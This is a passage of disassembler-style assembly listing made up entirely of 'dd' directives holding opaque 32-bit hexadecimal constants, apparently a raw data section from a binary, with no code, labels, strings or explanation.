		dd 0E287F13Ch, 1015B564h, 16BCF221h, 2386387Ah,	0BC4431ECh
		dd 9FC8213Bh, 28D0E111h, 0E1428DB5h, 1B211123h,	0A3B4EC10h
		dd 0B83CD4C0h, 0BC381BFBh, 7375B042h, 4C02486Ah, 3EB298F2h
		dd 0B4E451F6h, 0F2AD4B2Ah, 1A7A38B7h, 0F66D5DEBh, 0ADEAE6B7h
		dd 3842D3A1h, 0E1035B4h, 84DB02C8h, 0B343E02Ch,	0A0B1D4CFh
		dd 0B32E4B84h, 4417A3E6h, 3CC47234h, 0D92DF421h, 36F21DDDh
		dd 0CA29CAA2h, 74CB9877h, 0CC10C812h, 8815224Ah, 0F5979E8Dh
		dd 74899CB1h, 0C2510CA6h, 2230D649h, 204505F7h,	0EC500E74h
		dd 4F1EA6B1h, 80E6C208h, 7536579Ch, 6148723Bh, 6A08460Ah
		dd 50918B03h, 0C2B85B21h, 502DA87Eh, 0A75CD590h, 0A623CA5h
		dd 28BABC57h, 19470775h, 3046EB04h, 5820B34h, 28042EEBh
		dd 0EB06082Eh, 0B7233816h, 0DC271744h, 0E7D7C21h, 9B8D2AFDh
		dd 5022266Bh, 0CA402053h, 2544BC57h, 844C37BFh,	0FBB9F108h
		dd 0BEB6C13h, 1C66E3E7h, 7F2F5753h, 0BA6C69E5h,	20D8BEEEh
		dd 1043DB81h, 0A3B2FC10h, 2C2CD4DCh, 7B8B9746h,	8E784342h
		dd 296A4753h, 8CC94C12h, 0D220E95Ch, 9330ED25h,	0C41BDA11h
		dd 81EA0574h, 9804EBF3h, 82990245h, 0AE6695FCh,	8CA528FCh
		dd 142C8842h, 9CC8BC42h, 34EE9471h, 29F42B52h, 0DCCB421Ch
		dd 4A8A647Ah, 688A5F10h, 54E44670h, 3E4F2229h, 8482C64Ch
		dd 0A27B2A89h, 72441723h, 9205E252h, 0C8244058h, 5546B5BDh
		dd 8A294056h, 3C64402Ch, 17A61578h, 0CC843047h,	3C2C6229h
		dd 2423B547h, 38714DC4h, 36231BB9h, 0A12E1C95h,	181828B6h
		dd 9F1117ADh, 22C4A3DCh, 473C0C72h
		dd 0B8F0110Bh, 622784B7h, 532EB408h, 8F7017A3h,	0FCC41E11h
		dd 8E076CB1h, 6B84F447h, 3CF06226h, 0E8215447h,	0F3672D3Eh
		dd 25CC8931h, 2E8D9DECh, 0C817B514h, 1C78F1DCh,	61118FD8h
		dd 0EAF0D0C8h, 0CC478C24h, 0C4E4D388h, 2346C178h, 0AA118F7Ch
		dd 0BEF0B8C8h, 0B4478C22h, 0ACE4A788h, 21468B78h, 74C4A823h
		dd 0E83CA072h, 9C478C20h, 94E4A988h, 1F430378h,	181EECB1h
		dd 0C73E8F8Ch, 2BC48823h, 233C7C72h, 78111D05h,	181CEEE1h
		dd 60118F70h, 49F16CC8h, 88F601Ch, 58C41B35h, 548A1E78h
		dd 0DBE3522Bh, 0AABA252Ch, 296850C5h, 681A4D0Dh, 0F6D8CAC8h
		dd 44568C19h, 18E6842Eh, 17B43862h, 2C23CF47h, 2072B8C4h
		dd 97CDE836h, 801E0A7Bh, 86F39D60h, 0CFC7D093h,	99A2CE04h
		dd 80211047h, 4B70890h,	4B74EFCFh, 0EFFC74FAh, 75918E5Dh
		dd 0B7378834h, 501303F6h, 7684BD89h, 7CB53421h,	3202E6C3h
		dd 2980483Ch, 7C21F7C6h, 525A88CDh, 87CF80D0h, 10CF8C42h
		dd 6595D6B3h, 0B0E0E2CDh, 9C372D18h, 0B1B14FECh, 0D01816D5h
		dd 0BE1117ADh, 0A7DBC8C8h, 581238B9h, 0D8088FC9h, 0CA58F0C9h
		dd 0CAD8088Fh, 12489454h, 5C123130h, 0AB2B54CBh, 0D3C90437h
		dd 0D9BB550h, 6BAD5417h, 0D3B0F2C2h, 0FA10E42Fh, 42584A38h
		dd 0C95484CBh, 1A41B231h, 0E8CB5810h, 2DCB4264h, 9D51D8D6h
		dd 5C624AE5h, 876118B0h, 0C6BE8499h, 8A1411DDh,	0A9D11748h
		dd 88F401Ch, 47761354h,	0C234233Dh, 30311229h, 9112231Eh
		dd 0DC08E328h, 233C2462h, 181110F1h, 679CDDE3h,	1CC6F128h
		dd 0BF088F04h, 0E211CE0Eh, 448B20A8h, 0A7B18035h, 77111810h
		dd 0AFF484B6h, 0D477C6Ch, 65881746h, 1721E8E4h,	0C40F2D61h
		dd 68740873h, 17A65C2Eh, 0FC84D847h, 3CD46206h,	0D023E547h
		dd 0C872CEC4h, 5A9233Ch, 92E2C411h, 111EB839h, 0B0880451h
		dd 0AC1C3AF1h, 0C823118Fh, 3575D0A4h, 0A5195763h, 61BBE42Ch
		dd 0A78468CDh, 65FBF33Dh, 5FE7FC2Bh, 7F49AFCEh,	8AAB3010h
		dd 1DD05F78h, 74568C02h, 0E4068817h, 97D16D6Ch,	10A80CEAh
		dd 7DE7B969h, 8820ADB9h, 1659B111h, 36138608h, 8CBC7420h
		dd 1F18641Ah, 2D7E29BAh, 9A996FC4h, 0B4C7277Eh,	0C83038BFh
		dd 689FAD1Fh, 57BDCFBFh, 0B0936BD0h, 778A5898h,	8B278A46h
		dd 6D8C76F8h, 66F0ECF3h, 0E485C70Dh, 0AC0742FCh, 0F60C47B3h
		dd 70C2950Ah, 3D5BC568h, 3E15F39Dh, 3439E6B4h, 289A7464h
		dd 15A7BA0Eh, 6812A990h, 1C433C20h, 61598D55h, 0DDA73B16h
		dd 9554BF38h, 0BB55CA53h, 3A2B4DFBh, 0F097DF5h,	9FE4F33Ah
		dd 3B88C5FBh, 2D23BA24h, 8ECF3CEh, 688170F4h, 65B5AEFCh
		dd 6856E9B8h, 5BE2B0F6h, 84BDA62Ch, 24EEC68Bh, 0AE38CC24h
		dd 17748A87h, 0A5EC1113h, 5A8C104h, 9E958114h, 0BE4AB355h
		dd 9F57BC40h, 0FA62A6E5h, 853022DCh, 57C9115Dh,	0ECA8E489h
		dd 0FB611CFDh, 0E08B2BF6h, 38D14A76h, 0A0E81858h, 0B35D8674h
		dd 21740A91h, 6CE0C517h, 68120A9Eh, 2FB2AEB4h, 0D77C1889h
		dd 10D076EBh, 8E0F0FEDh, 0E475F515h, 288DE1ACh,	35B51421h
		dd 32E0B313h, 2CAC6BB1h, 49B71042h, 6514123Fh, 6A19BEC7h
		dd 0BA14B434h, 2D247822h, 51BAFE83h, 0F8253051h, 0EDB4213Dh
		dd 2028B815h, 13BC6FF8h, 0A59BACAAh, 0A46A34F8h, 815A2A0Fh
		dd 0AE7068CAh, 8B3E9B3Ah, 70DC7C14h, 885EDA8h, 0C161EC24h
		dd 690F4149h, 0E242453Eh, 0AB10EDC0h, 38428713h, 0EE655CAEh
		dd 46337D13h, 710431BDh, 0C41D39ADh, 207E5ED6h,	0C8880103h
		dd 85A17F6Ah, 0AB733B08h, 66136204h, 0B6CEEF70h, 43D0AF23h
		dd 3143F085h, 4218200Eh, 3E4290F4h, 0BEE2DEF8h,	0E2EEF0C4h
		dd 180CC869h, 0EEEC3C24h, 48D057ACh, 0DD7A9A2Ah, 0F07D7A9Ch
		dd 85ADB888h, 0B8291644h, 0BBE25E85h, 31EEEC84h, 701A3E10h
		dd 310C6487h, 9F0E1284h, 2728AD92h, 8E0170FFh, 84BAF2F7h
		dd 2A12C475h, 0BBFDAA71h, 16FF2236h, 0B8AD2C68h, 0AD5AAA17h
		dd 0C273DA5Fh, 280A187Eh, 10118503h, 0F445CBDDh, 3844F390h
		dd 73FD074Fh, 97D40C9h,	13A31491h, 21287D8Bh, 0CC1C45DEh
		dd 7E27245Dh, 44377C77h, 7AC3A420h, 0E7B4F14Fh,	348FF1F8h
		dd 44DA7428h, 0E4FFDB61h, 6DE8B24h, 0DA7C52B0h,	0F3585AEBh
		dd 0E7AC2DEBh, 8626272h, 0E3712805h, 0CA7BACC0h, 0D0BBF456h
		dd 1A68570h, 8CCAB1B7h,	0A6EB699Fh, 0F398E22Ch,	13E69439h
		dd 237CF887h, 8445F380h, 0EB8B0E62h, 18C02752h,	0BF88BCC9h
		dd 0D30F2729h, 8C1E32D1h, 0A0FAFC29h, 45F7B408h, 0D1B5A6F2h
		dd 0B2104FFEh, 0B4849671h, 64431E50h, 2C52840Ch, 11FB804Ch
		dd 880AAC44h, 0F3907817h, 0F27C0885h, 343F9C62h, 50F83ED6h
		dd 0F3439CBCh, 0FAC0CE1h, 64B23F8Fh, 621C343Dh,	576456CAh
		dd 1B6CA5Fh, 0C065545Ah, 337FF43h, 3DAB4E10h, 0D0AC03F6h
		dd 3664A911h, 0D0AF9C24h, 49E9AB42h, 50A43E56h,	31AD5A61h
		dd 1AABC816h, 24192074h, 6A046A24h, 79AF5C42h, 41A1F14h
		dd 0EEABA868h, 2F20A82Fh, 414CE595h, 0E699096Ah, 0E2203B5Dh
		dd 0F40C9463h, 0B2E74AB9h, 48C6200h, 0AD5205AFh, 29D12078h
		dd 68B29868h, 71946411h, 0AA54A2AEh, 802CBFF4h,	5681ACB8h
		dd 68B13028h, 0B7244C70h, 2C1EE665h, 20C798AEh,	0B1C440A4h
		dd 615CB308h, 14A1AB68h, 0BC4D5312h, 256F2F60h,	40C049DDh
		dd 57E790F7h, 0DE9B756h, 0BB0513ABh, 3A0F4B08h,	2CCF922Fh
		dd 35517C42h, 0C0761AFAh, 211B648h, 0AC429547h,	0D9EBBC04h
		dd 20E3DC57h, 63C9081h,	0A8E2FF48h, 0B5660EB2h,	612E0559h
		dd 6A097323h, 0B4958E9h, 13593CE4h, 0A76C13Bh, 250D8DEFh
		dd 246D63Ah, 98610B9Ah,	0C70A7629h, 13030854h, 0D5AC8D83h
		dd 64DF29FEh, 444F7417h, 0C4031ACh, 570EC18Bh, 7FD8C083h
		dd 103FC48Eh, 0CD4026E5h, 4175DE1Ah, 867FDF73h,	0C86419C8h
		dd 0EC57ACA6h, 0FC90E3C8h, 75060024h, 0AAD4680Ah, 7C6E39B7h
		dd 0E02A4735h, 74070806h, 233F8030h, 57E02B54h,	0CB6AFF7Ch
		dd 78527871h, 5AB927EFh, 0B0CBB548h, 0BCAE0864h, 64657758h
		dd 908866B5h, 210C859h,	5EE31244h, 29A0BB64h, 302B927Fh
		dd 84F5F24h, 0F0BD8F10h, 888F57B8h, 0DD4EFD0Ch,	2C93E8A1h
		dd 68107A13h, 0EFBF5474h, 28F89436h, 2120B8A1h,	0FF9DEF6Bh
		dd 437C356Ch, 5CFA2FBh,	0FAD334C7h, 8C246356h, 47F80C17h
		dd 0FBA397A5h, 0E6B4FBB9h, 0B81A037Bh, 7CC7D13h, 0D9FB8C2Fh
		dd 8FA5499Ch, 0EA27BA88h, 7EAC1384h, 0B6FC5F78h, 722B8CECh
		dd 0A088AB08h, 1F233880h, 0CE500375h, 0F296BEDFh, 88C8E0BDh
		dd 0A30C489Dh, 0F3AFBCC8h, 0FCA86250h, 84FB7C10h, 5484987Ch
		dd 8A900694h, 235014FFh, 9CD0AA38h, 7C0885FCh, 3ED35EFBh
		dd 0FC88748Eh, 1D0B3742h, 98AA2338h, 0F098CB57h, 0A3B910B1h
		dd 0E91047FBh, 149F0F67h, 2FFE4AA1h, 1866C4D9h,	9093802Dh
		dd 0B519C7FAh, 0E51C698Ch, 0BFD51C4Bh, 28BD6E45h, 3D19F534h
		dd 0C522C5Ah, 1806A410h, 45122032h, 88062925h, 40D6A9B0h
		dd 0FB421C24h, 31FA8C84h, 101ACA1Dh, 30E8FB1Ch,	0CA12FB42h
		dd 0F1E9F2C5h, 661DA974h, 0FFA85A16h, 9838C6DDh, 3DB07928h
		dd 0F5C5944Eh, 8B8F61B8h, 2B324B30h, 0EAACE3A9h, 4F1D79F0h
		dd 208E250h, 68140230h,	0C3BE4814h, 0A98A6856h,	0AEB64755h
		dd 993F1AF1h, 0FE4114DDh, 0F30578Eh, 4303D38h, 1E8D0FF9h
		dd 80E22BE3h, 624AEE93h
		dd 0FFD89B20h, 0E81C44B0h, 0EB841F4Fh, 0B8811839h, 10B88018h
		dd 733494E7h, 0C1DE27EAh, 354F5694h, 20CF0529h,	58682B4Bh
		dd 576908F0h, 1DA42376h, 0F4619B9Eh, 26AB42D2h,	64456EE4h
		dd 553FDB0Fh, 1D43A1C2h, 3F561517h, 1F4A11D5h, 0E48D09B8h
		dd 0F0F85648h, 2D2822BEh, 1D734486h, 8062F424h,	707E34F9h
		dd 0B2D3E699h, 0F8F010F9h, 87EC7684h, 88A11410h, 0ED7808F9h
		dd 0CA98C08h, 80065270h, 91E04D12h, 8D12B910h, 336C2B7Ch
		dd 2C08F843h, 7C7840C9h, 904287F9h, 0C2EA10F9h,	0E66B0CD3h
		dd 285BE049h, 0EE45D0F7h, 0CC14266Dh, 0A2A5CAEDh, 5FF590C8h
		dd 45CC47C8h, 0DA4CD9EEh, 0F6A0CED3h, 0FBEDC42Fh, 0C483E2E6h
		dd 0E0582A13h, 82328426h, 0DC0D8652h, 5B79AB19h, 0A199E2D0h
		dd 8B0AA8D4h, 21DD1E18h, 0C84FEED4h, 0DAB61EDh,	0D4100F41h
		dd 42E4E8EEh, 0C1ED10EEh, 0A84790E8h, 21FF4A7Ah, 1DD784EFh
		dd 1262F204h, 72867ED8h, 9D110144h, 0C9D5D988h,	0BFD21769h
		dd 0C8BFCEB2h, 97106AE5h, 0A5B70C90h, 2D0144BFh, 0FB9AD994h
		dd 0CBE60809h, 907118B6h, 8051D4Dh, 5AE09AFh, 504DE562h
		dd 42D99888h, 8713D704h, 4CE3FB69h, 0A98AA0B7h,	9C9E1961h
		dd 0E9E07EF2h, 3E870A77h, 1D1C5659h, 8D3C7B7h, 8253D984h
		dd 67A018D7h, 0D9213B8Dh, 84D9A4D0h, 3E91F4E8h,	611824D1h
		dd 0DA45875Eh, 0BFA9CB6Ch, 1ECBECB1h, 0E1CC6C11h, 0C41ACCECh
		dd 7438CD70h, 68101BF9h, 0A7E884CBh, 0E212212Ah, 2114CD6Ch
		dd 1D88CB68h, 0CD6CD056h, 0CD784287h, 0E84E1711h, 3CA7B0C4h
		dd 8ECF4794h, 94E3B114h, 461478ACh, 0D198B1D1h,	469C3E0Eh
		dd 22CF90C4h, 0E901580h, 0AD194F1h, 0C4CF9010h,	94684358h
		dd 0A0A1D143h, 432F08D1h, 3448A2F3h, 0C2C31823h, 233CC398h
		dd 98C2C418h, 6A323CC4h, 11C54920h, 23F94F10h, 0F7C5103Ch
		dd 0C310D8C8h, 0B2184284h, 14211E0Dh, 0A81047C3h, 3435DF62h
		dd 0D9C31421h, 433608C5h, 0A6E0A1F2h, 0E884120Fh, 6AA1FCB2h
		dd 0E97C743Fh, 959AB4A6h, 273E13D8h, 0D6016540h, 30FB9974h
		dd 44D912D9h, 56124432h, 2082C77Dh, 62C77629h, 6F02B2D8h
		dd 50F2057Fh, 231A5A25h, 36967F92h, 0E8A6B029h,	100F1F51h
		dd 80A1E9DCh, 21ED0CE8h, 0DCE24017h, 0E01E1DE9h, 0EBB60821h
		dd 15744674h, 4ED9EF5Bh, 981072CBh, 10DC8EE2h, 10ECDC4Eh
		dd 778FE14Fh, 8456CB4Eh, 3477E29Ch, 0FC1023E1h,	0E2A3647Dh
		dd 21A41F87h, 835348C5h, 15E23DB2h, 9021F79Eh, 0E10C42E2h
		dd 433A2918h, 563EDA41h, 0A8225ECAh, 0E17242E2h, 713BA610h
		dd 3FA5D812h, 9C206F28h, 0FFBC16DFh, 761F8032h,	0B468580Fh
		dd 0D29CA556h, 20EBE980h, 2BA86C68h, 9913761Fh,	0FBE25059h
		dd 0CF17B9A4h, 2AAA9328h, 0DE728410h, 0C0F85891h, 42B7A72Eh
		dd 74F4843Fh, 0E5241CBAh, 0FD13B54h, 0C1FCD589h, 0DB69E1F1h
		dd 0C025BB83h, 23746A5Ch, 488C074h, 9808E7C3h, 75A14348h
		dd 78270828h, 0C4BBEDA5h, 707E8F24h, 7484C342h,	705431C0h
		dd 0C343701Ah, 0E8E40CA3h, 423CEC48h, 85BBB5A5h, 5C0F4589h
		dd 92D1EA22h, 690FF998h, 11FE8832h, 198854AFh, 9F5711C8h
		dd 0C5E5C41Eh, 3B100170h, 6E0975C6h, 2D1AF010h,	0D2839905h
		dd 3B4F4F65h, 0B5F88B12h, 0BB2E9112h, 0EFCCB665h, 9D62E550h
		dd 27AB53D7h, 8B576782h, 5476BAD5h, 0A51809C2h,	0FC504776h
		dd 0CF16B1A4h, 0AD9012BFh, 47F8B490h, 8DB40886h, 84C8B9A6h
		dd 1C30A7B8h, 2AB9DA2Ch, 0EFB11B6Dh, 6D27B718h,	0D3103C95h
		dd 0DB2F6434h, 0A4F06802h, 5325E7C5h, 14D02197h, 3012CDC3h
		dd 0AA61FBDCh, 15A7349Dh, 3C23413Eh, 86783CDCh,	38CA8046h
		dd 4E116F1Dh, 4010412Fh, 0D9AC84DCh, 2AB4A823h,	73DC4813h
		dd 134E442Ah, 0C4C471B9h, 0CB3EF7A4h, 7042F41Eh, 1899DC2Ch
		dd 3E389E4Dh, 0DC432CB8h, 8DC4CA1h, 0A2E74329h,	3D774588h
		dd 0CB5A403Dh, 0FE5B85D3h, 10553BFEh, 0FF539A53h, 0DAC64A3Ch
		dd 522E7C6Ah, 3D8A7E66h, 68D598FDh, 0B6A45A30h,	1EA2D61Eh
		dd 94A2F94Fh, 63572615h, 2FC028E6h, 41BB147Eh, 502503BAh
		dd 1C68B460h, 727B95A4h, 5981E025h, 6F1ABD40h, 0B6889D1Dh
		dd 107CE399h, 0DF7A0887h, 40EA3AEBh, 88D3085Dh,	40327ACBh
		dd 746B5610h, 5AF0568Fh, 62EBB31Dh, 0E23E540Eh,	45DDA404h
		dd 51D4E8B0h, 8E0F0014h, 722AE7EFh, 0C0A80336h,	89F369BFh
		dd 767BA39Ah, 8D31DD4Bh, 2F394386h, 0D0DD427Eh,	0DE68130Fh
		dd 204527CEh, 0B176528Bh, 0ADB9004Dh, 2641E675h, 0C186DF6Ch
		dd 38DDE4B5h, 7085C2FEh, 622A59DFh, 1C73A39Ch, 0CDB30FE5h
		dd 28DF6884h, 11DD43E4h, 0F4A74F57h, 42743ADFh,	4BF638DFh
		dd 60C4EECBh, 4B7831A3h, 5654B548h, 0D4CFD5DCh,	9254F2F1h
		dd 8D51FB1h, 50E2DDD8h,	0DDC23BDCh, 0B734421Ch,	0DDD478C8h
		dd 0DCA13985h, 0D3470388h, 0BC7C3E5Ch, 0E1DD43E0h, 3B6BA2F8h
		dd 0D85B2FC4h, 6BE6A596h, 2F27C452h, 0B00C14B6h, 92A242B2h
		dd 84104A28h, 0CF0DA525h, 24939AB0h, 0E8686630h, 0B6B26BD2h
		dd 40F4EF1h, 7C51DCAEh,	0E1EF68E9h, 675FDC68h, 97EB140Dh
		dd 558A7A33h, 1FB28691h, 0AF0D9015h, 920EC812h,	9AD60C9Bh
		dd 0CCA2C042h, 97AC53D1h, 0CAC4B24Ch, 27597C0Ch, 0D276F33Bh
		dd 0C58B5615h, 2A8FA2B8h, 3EC28E4Bh, 81A1C293h,	0E28C4A0Ch
		dd 3456313Ch, 7799A2E6h, 8567798Ah, 623A4564h, 740C2E2Eh
		dd 5F1FD136h, 530D2274h, 0CEF16E56h, 80230A0Dh,	470BD763h
		dd 0C2856C91h, 744B080Bh, 73BB7EA5h, 3A582229h,	9F3D860Bh
		dd 94BD09F9h, 4B4CD131h, 0F44B5C38h, 0CA6F14B5h, 85A64F2Ch
		dd 0A760F95Bh, 0B17538D6h, 0BF24425Ah, 937A099h, 8B5A723Ah
		dd 8820471Eh, 0B0A4210h, 8C53AD0Ah, 7FF743E9h, 59D157CBh
		dd 1C9109CAh, 4E0ACEB1h, 4EA1B369h, 2CA2845Bh, 848B1451h
		dd 9369AE6Ch, 32D6EFE8h, 5025992Ah, 404C6707h, 0E464F8EFh
		dd 622D86A1h, 7D90923Fh, 7A2DF936h, 0F36992Eh, 24352DFBh
		dd 7C533FF4h, 0AFFAD388h, 1E9C432Dh, 564D2082h,	0E958F7B3h
		dd 5152086Dh, 21A46955h, 5EFCEA1h, 2C45FF10h, 99768C45h
		dd 4B903533h, 0A5A93939h, 5F9FF430h, 0C84314A5h, 0B4AD78C0h
		dd 4A105449h, 96A4C57h,	691B7028h, 935C0B4Ch, 48A62556h
		dd 176A90DEh, 38AB5035h, 0A15A300Dh, 57C959F2h,	79F51B61h
		dd 30F48F10h, 697A4D9h,	6317F11Ch, 0D5AF09Dh, 4D2492CBh
		dd 0D4C7E74Ch, 6A99BAF0h, 8AE4245h, 21F6547Ah, 1952F570h
		dd 3724EBAFh, 0A3F68A28h, 47C2C971h, 5C58A3AEh,	1AF614E5h
		dd 0D29D0D90h, 9C001253h, 6C800C37h, 681E85F5h,	26A788A1h
		dd 0A32E6CD1h, 19FCA2ACh, 93A2F3Dh, 77A0DC15h, 3824ABA4h
		dd 4EA0F3C2h, 4642BD67h, 0AE2669CCh, 0BB5174A2h, 7F6202C1h
		dd 0B5C488D6h, 1FE32F5Ah, 0BDF62D27h, 22F8FD6h,	56CFEB20h
		dd 0A54926FEh, 6C21A41Dh, 16919180h, 0EF5B8584h, 5C235A8Ch
		dd 0EBCB407h, 6A3A2BD4h, 0B8675850h, 8F0A068Ah,	5F69809Dh
		dd 0A054DA02h, 1BCA4D25h, 0A63AFD75h, 7411D2C2h, 6CC1057h
		dd 0B9AFD8F4h, 858A0649h, 25AE5E77h, 0E338492h,	3BFC0548h
		dd 13AD2EDBh, 16D17876h, 363CDF7Ch, 0E8F675A5h,	1D12CA30h
		dd 8B4BFC11h, 0E02F441Eh, 0F9FA459Eh, 997896D0h, 0E182E717h
		dd 37EFD954h, 0E813A68Bh, 2F42DF9Fh, 21A61C1Ch,	7842E0FCh
		dd 0B30218DFh, 0E0FC088Dh
		dd 0E1082174h, 74DBA408h, 599FA825h, 1F5C7852h,	0B5CC5348h
		dd 0F3171EE9h, 84DFEC6Bh, 25B69F90h, 89E96A2Ch,	0B675E2B4h
		dd 21C865BAh, 96CEBF57h, 0AC85EF42h, 60CEBFE2h,	0B7E3CC12h
		dd 62FC88E3h, 134EE454h, 26135868h, 52245045h, 6CC595ADh
		dd 0FEDBEA9Fh, 0A1E4D0DEh, 0C10CE2ACh, 50846146h, 400E2EE4h
		dd 1030FF92h, 4884E45Ch, 4B1B9AF1h, 31883D82h, 50D0411Ch
		dd 0C4B33B9Fh, 2F9A82B1h, 23893A3Dh, 10C6ED2Eh,	168F2280h
		dd 85CE2EFh, 77C63B09h,	9F2C7A22h, 0FC580229h, 0D8AFD19Eh
		dd 0E985DA10h, 5C625C73h, 4BCB8922h, 3DB3B442h,	25098C10h
		dd 0CB54D818h, 0CA040ABAh, 0CA65A99Eh, 75C90AACh, 43BDF896h
		dd 74AD025Eh, 8D026A31h, 40C0AAFh, 8C4A15BEh, 74CF47AEh
		dd 0CA30F437h, 9E8C1272h, 43400CCEh, 165889FEh,	8B10134Fh
		dd 6B7AB840h, 2C37358h,	6468CBEBh, 0F5746890h, 9489E398h
		dd 94F1321Ch, 1940292Ah, 6A867E02h, 56AFA905h, 575F2DEh
		dd 0AB2C200Fh, 0B9D47FCh, 7FA2078Ah, 0BE0FAF23h, 0D8B281C4h
		dd 8E2D7F9Dh, 16C4093Dh, 0D6762A03h, 9C7DFB25h,	8AABB614h
		dd 0C861D2A6h, 4E4BB178h, 0FF8BF90Eh, 4EE7E331h, 4FB4A825h
		dd 7828563Bh, 2F68FA24h, 1FF401F4h, 9D5625E8h, 752BF46Ch
		dd 24641CF0h, 35B6B432h, 985089F8h, 5434E819h, 2B37A82Dh
		dd 0F6988812h, 6EFEA7DFh, 1E9DD4C2h, 0F61E7525h, 2D854A5Ch
		dd 0AC2185FAh, 3F628F9Dh, 410A844Ah, 7F8B8F2Fh,	8D075AA2h
		dd 73830178h, 1CA20F20h, 8484CBAFh, 2B07F5BDh, 7DCACC7h
		dd 99419E30h, 32562F05h, 0A4089C98h, 974A25F5h,	9D609540h
		dd 9D347786h, 775AA0EDh, 0D03146CDh, 80504704h,	9D8D7259h
		dd 0E6A573DBh, 51C3B954h, 0C2DBF24Bh, 237734ADh, 0FDA09D1Ch
		dd 981C4C56h, 0B69CFC22h, 6D99EB93h, 88F77E57h,	9CDC22D8h
		dd 78233FAEh, 29B8E4CDh, 925EE63Ah, 9B9262DDh, 0A559E79Ch
		dd 3313CFA6h, 0A22BAFC0h, 70884442h, 621CB6FCh,	0EC75B4EBh
		dd 69A49F51h, 950F4510h, 5FF1CAEEh, 50B4A6FCh, 0E99F15D1h
		dd 173052CCh, 0D6BE9C4Ch, 0E12AC6CAh, 519F9886h, 0AE756535h
		dd 0B51706C3h, 11FED4CDh, 6CFFF20Bh, 6C1CB403h,	0D448BA71h
		dd 4FED4C8Dh, 5315B1ACh, 577C0E46h, 166CBE48h, 8B2428DAh
		dd 901332F8h, 20A2F0E8h, 0B68CB22Fh, 7A79BF57h,	0B49C2042h
		dd 17145697h, 799BF412h, 0C8D6417Ah, 4B130C9Bh,	5CF2B0EEh
		dd 0B086917Ch, 0A743C444h, 4FDACC13h, 810E3899h, 39608C7Dh
		dd 67E25772h, 2F9BA084h, 5F5274C8h, 489DE1E4h, 601584FEh
		dd 1F385688h, 0D1AA1375h, 0E75FCF1Ah, 52D464EFh, 1EFFAD12h
		dd 20AFFAECh, 7FC111DEh, 0CB725650h, 0F32CBF93h, 0F49B4254h
		dd 8A349028h, 4F2C8EBAh, 682B1846h, 62CAA424h, 64109114h
		dd 106C1430h, 0D857F1BFh, 84143D89h, 84D14CB8h,	0F5AA6A0Dh
		dd 102C136h, 0DC72458Dh, 82FE5370h, 0BB82284Ah,	1014729Ch
		dd 136A8E17h, 20B69FFCh, 70835495h, 46A4C3C9h, 25830440h
		dd 3B70147Dh, 0E9E59BFh, 0D4EF0575h, 0E45E51Dh,	0FABE0C05h
		dd 0F02B9991h, 10B94449h, 0EBFC8DE4h, 0CCB48F31h, 9F9FA33Ah
		dd 8C2118E9h, 0C8FC02C9h, 766D75CDh, 7F28D23h, 5F001882h
		dd 950B745Eh, 55A6E56h,	0A10653A0h, 0B615A42Dh,	0D6B40859h
		dd 0E6D5FF0Fh, 901FC435h, 0DB332F8Ah, 0FD92DDD4h, 0A468AE46h
		dd 0EB3C9033h, 84188E1h, 97B280A3h, 0F418781Bh,	0CFD86B9h
		dd 58438CD8h, 0C8B8E810h, 62946444h, 18C4192Ch,	3C52861Ch
		dd 94102134h, 0F8845B34h, 919022D5h, 0F40CDC0Dh, 1D3934A8h
		dd 0DCEB7DA3h, 44741B10h, 3CE17D41h, 88D81090h,	0F0732034h
		dd 0C410C82Ch, 5C102444h, 101C6878h, 14323C57h,	0C119010h
		dd 4D1EC5E3h, 0AEC0413h, 5C70A06h, 94BC2994h, 0D5C46885h
		dd 282CE536h, 13270CA3h, 2016A1Ch, 15EBD07Fh, 0A38DA4D1h
		dd 2D0B2998h, 34C9B822h, 93291AC0h, 22018227h, 9C31D5A8h
		dd 0AC30B24Ch, 2B9043BFh, 8015E6E0h, 1074230Dh,	2784CA70h
		dd 0A4325C44h, 0C432AC33h, 280C3C31h, 0FBB8286h, 0F014AA56h
		dd 0CF88E0E7h, 8408239Eh, 0B9A4C2BAh, 30E2C431h, 1087BA28h
		dd 3228A29Ch, 94608788h, 0C886DA0h, 0A198A864h,	21D442F8h
		dd 1F8AB470h, 52585422h, 44D92120h, 10A019A5h, 54649F1Dh
		dd 0BEB1712h, 1AA02A72h, 0D4E86738h, 26A95599h,	0D884A890h
		dd 0A5C862D4h, 0FF62445Eh, 880DA2B8h, 0CA419B9h, 94438CF8h
		dd 4392AC75h, 0A4382188h, 460D2281h, 57867EB0h,	4411AC54h
		dd 106421BAh, 8882828h,	84F82040h, 4C071841h, 83101086h
		dd 4108C347h, 1A484210h, 541585A4h, 653CC8A2h, 246122B8h
		dd 0B81C9019h, 6E4012F1h, 87907D4Fh, 14914523h,	0C86404C8h
		dd 8D3F461h, 55CDACB0h,	31F20DE4h, 0A41C0CD4h, 29C04327h
		dd 0AC100D20h, 4427CCCAh, 0B9943290h, 0BC08C886h, 8F0DB84Dh
		dd 0FC9F11B0h, 0B91C1146h, 0CCE22088h, 4E9431B8h, 0D38084AEh
		dd 0B435FDCAh, 0A8CE3C4Fh, 45288E86h, 28CE4A74h, 49E311BBh
		dd 32344439h, 0EA1BC099h, 180DA240h, 0C3019BAh,	1C438C20h
		dd 0E86DDC26h, 0DAF8950Dh, 0A4640488h, 84D27ADCh, 2A341C52h
		dd 905D0DE8h, 0B9C0C401h, 20B1304Eh, 0BA182249h, 0A3204140h
		dd 5910FC08h, 10316878h, 292C3C54h, 0AF4DBC09h,	61BA1C84h
		dd 0C80AB890h, 71AC64B0h, 0D4622D8Bh, 0D2297458h, 2A5C2E7h
		dd 31D2D022h, 448C4CC4h, 0B454C0ACh, 0A6AC780Dh, 0E421A443h
		dd 0D98AABEh, 8821C046h, 88348094h, 0DF46E7Ch, 2C647488h
		dd 5462E867h, 0C6019BAh, 54438C70h, 0C8B97C10h,	0BA606248h
		dd 140C4019h, 1038438Ch, 30C8B9D4h, 2862D064h, 94180419h
		dd 0FC2BB242h, 0CA20109Ch, 18444124h, 0D913832h, 0ABEC0C0Ch
		dd 51ACBB34h, 45CA20Fh,	70D142FCh, 0F45427A4h, 5BA4BC0Dh
		dd 8486EC7Dh, 77E0430Dh, 0D44327A4h, 0C810B423h, 0B8C478C8h
		dd 0D91E832h, 43580CA8h, 889C21BAh, 9064B98Ch, 0E0C52832h
		dd 0F66D453Ch, 41119F50h, 78229501h, 8805210Ch,	0F947B8E4h
		dd 0B9804208h, 680CED11h, 21E14386h, 0CAD5902Ch, 0C9953C54h
		dd 9070210Ch, 247CCABDh, 60C8B190h, 1432A564h, 0D40C9919h
